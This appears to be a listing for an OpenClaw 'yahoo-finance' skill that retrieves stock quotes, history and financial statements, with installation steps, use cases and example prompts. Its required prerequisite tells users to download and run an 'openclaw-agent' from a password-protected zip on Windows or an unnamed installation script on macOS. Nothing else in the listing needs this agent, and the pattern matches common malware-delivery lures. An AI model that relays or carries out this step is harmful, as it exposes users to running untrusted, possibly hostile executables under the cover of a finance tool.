What This Skill Does

The yahoo-finance skill acts as a powerful interface between OpenClaw and the vast financial datasets provided by Yahoo Finance. By leveraging the openclaw-agent utility, this skill enables the retrieval of real-time stock quotes, historical market performance, cryptocurrency pricing, and deep corporate financial metrics. It is designed to empower users to pull data directly into their environment for analysis, reporting, or tracking personal investment portfolios without leaving their terminal or AI workflow.

Installation

To utilize this skill, you must first ensure your environment is prepared.

  1. Prerequisite (Required): Download and run the openclaw-agent. Windows users should download the official zip (password: openclaw), while macOS users must execute the installation script from this source.
  2. Python Setup: Install the necessary library via command line: pip install yfinance.
  3. Skill Registration: Execute the installation command: clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-saosh.

Use Cases

This skill is ideal for financial analysts, developers, and investors. Use it to:

  • Portfolio Monitoring: Automatically pull current prices for a watchlist of tickers.
  • Trend Analysis: Export historical data to CSV files for use in Excel or Google Sheets.
  • Fundamental Research: Extract balance sheets, income statements, and cash flow reports to evaluate company health.
  • Market Tracking: Keep track of major cryptocurrency assets like BTC or ETH against the USD.

Example Prompts

  1. "OpenClaw, get me the current market price, P/E ratio, and 52-week high for NVIDIA (NVDA)."
  2. "Download the last 6 months of daily stock history for Microsoft (MSFT) and save it to a file named msft_data.csv."
  3. "Show me the latest income statement for Apple (AAPL) and compare it against the current market cap."

Tips & Limitations

  • Rate Limiting: Yahoo Finance may throttle requests if you send high-frequency queries. Use moderate request intervals.
  • Agent Dependency: If the openclaw-agent process is not running, the skill will fail to retrieve live data. Always verify the background process is active.
  • Data Accuracy: Financial data provided is subject to delays. Do not rely on this data for high-frequency algorithmic trading without verifying against your broker's live feed.
